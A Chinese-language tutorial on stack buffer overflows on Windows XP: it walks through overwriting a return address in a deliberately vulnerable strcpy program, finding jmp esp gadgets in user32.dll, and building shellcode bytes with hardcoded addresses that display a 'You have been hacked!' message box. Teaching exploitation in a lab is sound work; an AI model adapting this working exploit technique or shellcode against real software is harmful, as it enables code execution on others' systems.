缓冲区溢出漏洞的原理及其利用实战
- 温馨提示:
- 本文章的图片十分重要,一定要认真的阅读。
- 可以把该图片下载下来,这样的话图片会非常清晰(右键->另存为)。
1. 实验环境
- 操作场景
- windows xp sp2
- 实验工具:
- IDA Pro
- OllyDbg
2. 缓冲区溢出漏洞原理
- 在这里我们通过一个实验来进行原理讲解
- 实验过程大致如下:
- 分别创建含有缓冲区溢出隐患的程序,和没有隐患的程序
- 判断main函数的地址
- 定位调用main函数的语句
- 分析call语句对于栈空间的影响
- 分析正常程序与存在溢出问题的程序对于栈空间的影响
- 缓冲区溢出漏洞总结
2.1 首先我们先来编写一个简单的存在缓冲区溢出漏洞的程序
-
注意:这个程序我使用的是VC++6.0进行编写的并且在windows XP下执行。而如果你使用的是新版本的Visual Studio,由于微软加入了GS机制来防止缓冲区溢出情况的出现,那么本实验就有可能无法实现
-
我们先新建一个win32控制台应用程序工程
-
编写一个 不存在溢出 的程序
- 代码如下:
#include "stdio.h" #include "string.h" //十个字节 char name[]="qianyishen"; int main(){ //申请了11个字节的空间 char buffer[11]; //将变量name中的内容复制到buffer数组中(由于buffer申请的空间 > 10字节,所以不会发生溢出) strcpy(buffer,name); printf("%s\n",buffer); //加上这行代码可以使程序执行完printf之后停止,我们回车才可以继续执行,以便我们查看执行结果 getchar(); return 0; }
-
运行一下看看:
-
那么如果变量name中的数据超过11个字节会怎么样?接下来让我们实验一下
- 编写一个 存在溢出 的程序
#include "stdio.h" #include "string.h" //20个字节,我们将数据量加一倍 char name[]="qianyishenqianyishen"; int main(){ //申请了11个字节的空间 char buffer[11]; //将变量name中的内容复制到buffer数组中(由于buffer申请的空间 < 20字节,所以会发生溢出) strcpy(buffer,name); printf("%s\n",buffer); //加上这行代码可以使程序执行完printf之后停止,我们回车才可以继续执行,以便我们查看执行结果 getchar(); return 0; }
-
运行一下看看
2.2 接下来我们研究一下存在溢出的程序出错的原因
- 我们先来研究一下正常的程序有什么特点
-
而此时OD向我们展示的代码是系统自动生成的,与我们本次的实验没有关系,我们 首先需要做的是定位main函数的位置,
-
那我们应该如何去寻找main函数的位置呢?
- 根据经验直接在OD中寻找
- 使用工具IDA帮助定位main函数的位置(在这里使用的是这个方法)
-
由于缓冲区溢出是与栈的空间紧密相关的,因此现在我们还应当分析一下调用这个main函数前后栈空间的一些情况,所以在这里我们还需要定位一下究竟是哪条语句调用或者说是call main函数,同样,我们仍然使用IDA来帮助我们进行定位
-
在我们定位完call main函数的位置之后,为了便于之后内容的讲解,我们在这里要说明一下 call语句的原理
- 当我们的程序要执行call的时候,它会分为两步走:
- 第一步:是会将call下面这条语句的地址入栈(在这里该地址为:00401699)
- 第二步:就是jmp到这个call语句所指地址的位置
- 对于我们的这个程序来说,call下面的这个语句,它的地址是 00401699,这个地址非常非常的重要:这是因为我们的程序,它在进入每个call之前都会将其下面那条语句的地址(这里是401699)入栈,然后再去执行call语句,这样当这个call语句执行完之后,程序再将这个地址出栈,这样系统就能够知道执行完call语句后下一步应该去执行哪条指令。
- 一般来说,我们将这个地址称为 返回地址(它告诉程序当call执行完之后,请执行这个地址处的代码)
- 这个 【返回地址】 在我们后面的缓冲区溢出讲解里面,它的影响非常的重要,请大家一定一定要牢记
- 当我们的程序要执行call的时候,它会分为两步走:
-
现在,我们来看一下执行完call语句前后栈的情况
-
按F9开始执行程序,然后至断点处停下,再按F7进入call语句
-
至此,程序已经运行到了main函数的位置,接下来我们继续按F8执行
-
继续按F8进行逐步执行,直至调用strcpy函数
-
继续按F8逐步执行
-
可以看到,在执行到retn语句(即main函数的return)时,栈顶的值正好是返回地址:00401699
-
至此,正常程序的分析完毕
- 接下来我们分析一下 存在溢出 的程序
- 现在我们总结一下溢出漏洞的原理:
- 这个缓冲区溢出就是因为我们输入了过长的字符,像这里我是输入了20个字符,而这里本来只能容纳11个字符,且缓冲区本身没有有效的验证机制,于是就导致过长字符将我们一直所强调的 返回地址 给覆盖掉了,这样当我们的函数要返回的时候,由于此时的地址是无效地址,因此就导致程序出错。
- 那么依据这个原理,假设我们所覆盖的返回地址是一个有效的地址,而在该地址处又包含着有效的指令,那么我们的系统就会毫不犹豫的跳到这个地址里面去执行这个指令。
- 因此如果想利用缓冲区溢出的漏洞,我们就可以构造出一个有效的地址出来,然后将我们想要计算机执行的代码写入到这个地址,这样一来我们就通过程序的漏洞来让计算机执行我们编写的程序。
3. 缓冲区溢出漏洞的利用
- 实验过程大致如下:
- 精确定位返回地址的位置
- 寻找一个合适的地址,用于覆盖原始地址
- 编写shellcode到相应的缓冲区中
- 实验思路:
- 利用错误提示对话框来定位返回地址的位置
- 理解jmp esp的实现原理
3.1 精确定位返回地址的位置
- 通过OD,我们可以很容易弄清楚返回地址的位置,那么如果没有OD该怎么办呢? 请看下面的方法:
- 在本次实验中,由于程序比较简单,所以我们可以通过 错误提示对话框 来定位返回地址的位置。
-
由上图,我们可以看到,错误报告的address字段的值为:0x6e656873。结合上文对存在溢出程序的分析,我们知道 这个值即为覆盖之后的返回地址 。接下来我们通过对照ASCII表来将这十六进制代码翻译成英文字符,看看是什么
-
0x6e656873 -> nehs
-
令我们惊讶的是,该十六进制翻译成英文之后,竟然是字符串 "shen" 的反向显示(之所以是反向显示,是因为我们的计算机是小端显示的),而字符串 "shen" 正是我们存在溢出程序中数组变量 name 的后四个字符(请看下图)
-
由此可知,正是字符串 "shen" 这四个字符正好覆盖了原始返回地址
-
那么我们来做一个笔记:
- char name[]="qianyishenqianyishen"; --> char name[]="qianyishenqianyiXXXX";
- 这里我们将 "shen" 使用 "XXXX" 来表示,以此来说明正是 "XXXX" 这个位置上的字符覆盖了原始返回地址,需要我们精心的构造,而"XXXX"前面的16个字符可以是任意的字符,主要用来覆盖EBP前面的12个字节的缓冲区和4个字节的父函数的EBP。
-
至此,我们也就解决了缓冲区漏洞利用的第一个问题:精确定位返回地址的位置
-
其实关于精确定位返回地址的位置的方法还有很多,限于篇幅的原因,在这里就不做一一讲解
3.2 如何寻找一个合适的地址,用于覆盖原始地址
- 通过上文我们知道,正是 "XXXX" 覆盖了原始返回地址,使其变为我们所精心设计的返回地址。
- 那么我们所精心设计的返回地址应该是多少呢?
- 在这里我们不能凭空的创造出一个地址,而是要基于一个合法的地址之上来进行研究,当然我们可以通过OD进行观察来找到很多合适的地址的,但是用OD进行观察的方法并不是那么的方便。
- 事实上,解决这个问题的方法有很多,但是最为常用最为经典就是 jmp esp 这个方法,也就是说,利用esp这个跳板进行跳转。
- 这里的这个跳板是指程序中原有的机器代码,它们都是能够跳转到一个寄存器内所存放的地址去执行,比如说像我们这个 jmp esp 或者说 call esp 或者说 jmp ecx 或者说是 call eax 等等,如果说在函数返回的时候,cpu内的寄存器刚好就是直接或者间接指向我们的这个shellcode的起始位置,那么就可以把栈内存放返回地址的那个内存单元覆盖为相应的跳板地址。
- 这里大家可能不太好理解,那么我们就用实际的例子来说明一下:
-
通过上图的分析我们可以得知:
- 当main函数执行完毕后,esp就会自动变成 返回地址的下一个位置,而esp它这个变化一般来说是不受任何情况的倾向的,那么既然我们知道了这一个特性,其实就可以将返回地址(也就是上面的0012FF84位置处的值),覆盖成jmp esp语句所在的地址。
-
也就是说:将原始返回地址,覆盖成jmp esp语句所在的地址之后,当main函数执行完毕,系统将会去执行那个跳板(jmp esp语句),而此时esp寄存器的值正好是 0012FF88(即:原始返回地址位置的下一个位置),于是当系统执行完jmp esp之后,就会跳转到0012FF88这个位置,在这个位置继续执行代码,而恰恰这个位置正是我们shellcode代码所在的位置。
-
以上是返回地址没有被覆盖的情况,那如果返回地址被破坏了,esp还具有这个特性吗?使用OD打开具有缓冲区溢出的程序进行分析:
-
由上图的分析,我们现在就可以明确的得出,esp的这个特性不会受溢出的影响,我们完全可以利用这个特性来做文章。
-
那么,我们 如何得知 jmp esp 语句的位置地址呢?
- jmp esp 语句的机器码为:FFE4
- 现在我们可以编写一个程序在user32.dll这个动态链接库中查找这条指令它的地址是什么。
- 当然,jmp esp这条语句在很多个动态链接库中都存在,只是这里使用user32.dll动态链接库来做例子
- 查询代码如下,在这里我们将如下代码保存为searchJmpEspInUser32dll.cpp文件
#include
#include #include int main(){ BYTE *ptr; int position; HINSTANCE handle; bool done_flag = FALSE; //在这里我们可以修改将要查询的动态链接库 //比如我们想在kernel32.dll里面寻找,那就将其改为kernel32.dll即可 handle = LoadLibrary("user32.dll"); if(!handle){ printf("load dll error!"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++){ try{ //因为jmp esp语句的机器码为 FFE4,所以这里要这么写; //如果你想要查询其他语句,可以对其进行修改 if(ptr[position]==0xFF && ptr[position+1]==0xE4){ int address = (int)ptr+position; printf("opcode found at 0x%x\n",address); } } catch(...){ int address = (int)ptr+position; printf("end of 0x%x\n",address); done_flag=true; } } getchar(); return 0; } -
由上图的运行结果我们可以看到,已经查询到了非常多的jmp esp指令的地址,这些地址我们都可以进行使用,在这里我们选择倒数第2个jmp esp地址:0x77d9932f。
-
也就是说,我们将要使用 0x77d9932f 来覆盖掉程序的原始返回地址 0x00401699。这样的话,程序在执行完main函数之后返回时,它就会直接跳到 0x77d9932f 这个位置,从而执行了这里的jmp esp指令,而执行完jmp esp指令之后,那么程序就正好会来到esp寄存器中所存储地址的位置(即:原始返回地址位置的下一个位置),去执行该地址处的指令,而恰恰这个位置正是我们shellcode代码所在的位置
-
在这里请大家注意,其实获取jmp esp的方法还是有很多的,而且不同的操作系统这个地址它有可能是不一样的,但是有些地址在很多系统上都是通用的,关于这个通用地址大家可以自行的在网上进行搜索。
-
好了,接下来我们再进行一次总结,我们主要总结这个char name[]="qianyishenqianyiXXXX"数组中的内容
- 首先,"XXXX" 前面的16个字节依然是什么内容都可以,其主要用来覆盖EBP前面的12个字节的缓冲区和4个字节的父函数的EBP
- 而 "XXXX"(即原始返回地址) 将被替换为 jmp esp 指令的地址(在这里是:0x77d9932f)
- shellcode将紧跟在"XXXX"后面
- 所以name数组中最终内容的格式为:char name[]="qianyishenqianyiXXXXshellcode"
3.3 编写shellcode到相应的缓冲区中
-
我们之前一直在说shellcode,那么shellcode是什么呢?它其实就是一些已经编译好的机器码。
-
将这些机器码作为数据输入,然后通过我们上文所讲的方式来执行这些shellcode。
-
而在这里,我们将要通过漏洞来调用MessageBoxA()这个函数,那么就有些复杂了
-
为了实现函数的调用,我们的第一步工作就是获取相关函数的地址
- 由于我们这里是想要调用MessageBoxA()这个API函数,因此首先就需要获取该函数的地址,而我们可以通过一个小程序来获取该地址
- 该小程序的代码如下,在这里我们将代码保存为SearchMessageBoxA.cpp文件:
#include
#include typedef void (*MYPROC)(LPTSTR); int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("user32"); //获取user32.dll的地址 printf("user32 = 0x%x\n",LibHandle); //获取MessageBoxA的地址 ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA=0x%x\n",ProcAdd); getchar(); return 0; } -
可以看到,我已经成功的查询到了MessageBoxA()函数的地址:0x77d5050b 。但是要注意,这个地址只针对我们目前的这个系统有效,如果你换了一个操作系统,那么这个地址有可能是不一样的。
-
另外,因为我们利用溢出的操作,破坏了原本的栈空间的内容,就有可能会在我们的这个对话框显示完成之后导致程序的崩溃,所以为了谨慎起见,还需要使用EixtProcess这个函数来令程序终止,这个函数它位于 kernel32.dll里面。接下来我们查找一下该函数的地址,
-
查找代码如下,在这里我们将代码保存为SearchExitProcess.cpp文件:
#include
#include typedef void (*MYPROC)(LPTSTR); int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32"); //获取kernel32.dll的地址 printf("kernel32 = 0x%x\n",LibHandle); //获取ExitProcess的地址 ProcAdd = (MYPROC)GetProcAddress(LibHandle,"ExitProcess"); printf("ExitProcess = 0x%x\n",ProcAdd); getchar(); return 0; } -
至此,我们编写shellcode所需要的函数的地址已经查询完毕
-
现在我们来总结记录一下编写shellcode所需要的信息:
- jmp esp指令的地址:0x77d9932f (上文已给出)
- MessageBoxA()函数的地址:0x77d5050b
- ExitProcess()函数的地址:0x7c81caa2
- 字符串 "Warning" 对应的ascii码: "\x57\x61\x72\x6E\x69\x6E\x67\x20"
- 字符串 "You have been hacked!(by q.y.s)" 对应的ascii码: "\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29"
-
在正式编写shellcode之前,我们先来讲解一下 如何利用汇编语言来实现函数的调用
- 在汇编语言中,如果我们想要调用某个函数,一般使用call这个命令,而在call语句的后面需要跟上该函数在系统中的地址,因为我们刚才已经获取到了MessageBoxA()函数的地址和ExitProcess()函数的地址,因此我们在这里就可以通过call + 相应的地址来调用对应的方法。
- 但是实际上我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再使用call + 寄存器 来实现函数的调用。
- 如果说我们想调用的函数 还包含有参数,那么我们就需要先 将参数利用push语句从右至左分别入栈,然后再调用call语句
- 这里给大家举一个例子:
比如说我们这里有一个名为TestFun的函数,它有三个参数,分别为a,b,c:TestFun(a,b,c) 那么我们在汇编中应使用以下方式来调用该函数 push c push b push a mov eax,TestFun函数的地址 call eax
-
另外,我们还需要讲解一下 在汇编中长字符串的问题该如何解决(因为MessageBoxA()函数有两个参数是长字符串)
- 由上文我们已经总结出 "Warning"字符串 和 "You have been hacked!(by q.y.s)" 字符串对应的ASCII码值
- 字符串 "Warning" 对应的ascii码: "\x57\x61\x72\x6E\x69\x6E\x67\x20"
- 字符串 "You have been hacked!(by q.y.s)" 对应的ascii码: "\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6E\x20\x68\x61\x63\x6B\x65\x64\x21\x28\x62\x79\x20\x71\x2E\x79\x2E\x73\x29"
- 那么下一步,我们将每4个ASCII码为一组进行分组,不满4个的使用 \x20 来进行填充(这里之所以使用 \x20 进行填充,而不是使用 \x00 进行填充就是因为我们现在所使用的是strcpy函数的漏洞,而strcpy这个函数有一个特点:一旦遇到 00,就会认为我们的字符串已经结束了,就不会拷贝 00 后的那些内容了,因此这个问题需要特别的注意。只要我们想利用strcpy这个函数的漏洞,那么我们的shellcode里面是不能出现00的)
- 分组结果如下
Warning: \x57\x61\x72\x6E \x69\x6E\x67\x20 You have been hacked!(by q.y.s) \x59\x6F\x75\x20 \x68\x61\x76\x65 \x20\x62\x65\x65 \x6E\x20\x68\x61 \x63\x6B\x65\x64 \x21\x28\x62\x79 \x20\x71\x2E\x79 \x2E\x73\x29\x20
- 紧接着,由于我们的计算机它是小端显示的,那么我们在使用push语句进行入栈时,入栈的顺序应是 从后往前 的,这里以字符串 “Warning” 为例,入栈顺序如下:
push 0x20676e69 push 0x6e726157 //此时,字符串“Warning”就已经入栈了
- 然后,接下来的问题就是:
- 我们应如何获取这两个字符串的地址,从而让它们成为MessageBoxA的两个参数呢?
- 这里我们可以使用esp寄存器,因为它始终指向的是栈顶的位置。
- 我们这里通过push语句将这个字符串入栈之后,栈顶的位置就是我们刚刚所压入的这个字符串的位置,因此我们在每次的字符串压栈之后,就可以使用mov指令将esp寄存器中字符串的地址赋给另一个寄存器以保存下来。这里以字符串 “Warning” 为例
push 0x20676e69 push 0x6e726157 mov eax,esp
- 至此,汇编中长字符串的问题及解决已讲述完毕。
- 由上文我们已经总结出 "Warning"字符串 和 "You have been hacked!(by q.y.s)" 字符串对应的ASCII码值
-
接下来我们将使用VC++6.0,通过内联汇编的方式开始编写shellcode汇编代码,编写好的shellcode汇编代码如下:
- 创建一个 win32控制台程序 -> 新建C++文件,开始编写,代码如下:
int main(){ _asm{ sub esp,0x50 //注意:我们在此执行该指令,目的是将栈针抬高 xor ebx,ebx //用异或操作将ebx寄存器中的值清零 push ebx //我们这里将 0 压入栈中,目的是告诉系统:字符串到这里就已经截止了 push 0x20676e69 //将"Warning"字符串入栈 push 0x6e726157 mov eax,esp //将字符串"Warning"的地址保存至eax寄存器中 push ebx //我们这里将 0 压入栈中,目的是将两个字符串分割开来 push 0x2029732e //将"You have been hacked!(by q.y.s)"字符串入栈 push 0x792e7120 push 0x79622821 push 0x64656b63 push 0x6168206e push 0x65656220 push 0x65766168 push 0x20756f59 mov ecx,esp //将字符串"You have been hacked!(by q.y.s)"的地址保存至ecx寄存器中 push ebx //将MessageBoxA函数第4个参数入栈 push eax //将MessageBoxA函数第3个参数入栈 push ecx //将MessageBoxA函数第2个参数入栈 push ebx //将MessageBoxA函数第1个参数入栈 mov eax,0x77d5050b //将MessageBoxA函数函数的地址保存至eax寄存器中 call eax //MessageBoxA函数的调用 push ebx //这里之所以要push一个0,是因为ExitProcess函数其实是由一个参数的 mov eax,0x7c81caa2 //使用mov将ExitProcess函数的地址赋给eax寄存器 call eax //ExitProcess函数的调用 } return 0; }
-
至此,shellcode汇编代码已编写完毕,那么我们应该如何获取它的shellcode机器码呢?
-
然后我们将上述shellcode机器码与我们之前所讲的内容结合一下,便可以编写出以下程序:
#include "stdio.h"
#include "string.h"
#include "windows.h"
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //用于覆盖EBP前面的12个字节的空间
"\x41\x41\x41\x41" //覆盖EBP
"\x2f\x93\xd9\x77" //返回地址
"\x83\xEC\x50" //注意:我们在此执行该指令,目的是将栈针抬高
"\x33\xDB" //用异或操作将ebx寄存器中的值清零
"\x53" //我们这里将 0 压入栈中,目的是告诉系统:字符串到这里就已经截止了
"\x68\x69\x6E\x67\x20" //将"Warning"字符串入栈
"\x68\x57\x61\x72\x6E"
"\x8B\xC4" //将字符串"Warning"的地址保存至eax寄存器中
"\x53" //我们这里将 0 压入栈中,目的是将两个字符串分割开来
"\x68\x2e\x73\x29\x20" //将"You have been hacked!(by q.y.s)"字符串入栈
"\x68\x20\x71\x2E\x79"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"
"\x8B\xCC" //将字符串"You have been hacked!(by q.y.s)"的地址保存至ecx寄存器中
"\x53" //将MessageBoxA函数第4个参数入栈
"\x50" //将MessageBoxA函数第4个参数入栈
"\x51" //将MessageBoxA函数第2个参数入栈
"\x53" //将MessageBoxA函数第1个参数入栈
"\xB8\x0B\x05\xD5\x77" //将MessageBoxA函数函数的地址保存至eax寄存器中
"\xFF\xD0" //MessageBoxA函数的调用
"\x53" //这里之所以要push一个0,是因为ExitProcess函数其实是由一个参数的
"\xB8\xA2\xCA\x81\x7C" //使用mov将ExitProcess函数的地址赋给eax寄存器
"\xFF\xD0"; //ExitProcess函数的调用
int main(){
char buffer[11];
LoadLibrary("user32.dll"); //由于我们的shellcode使用了MessageBoxA函数,所以需要导入user32.dll。这里为了简单起见,我们直接在原程序导入了。而在真实环境中,你需要在shellcode中导入
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}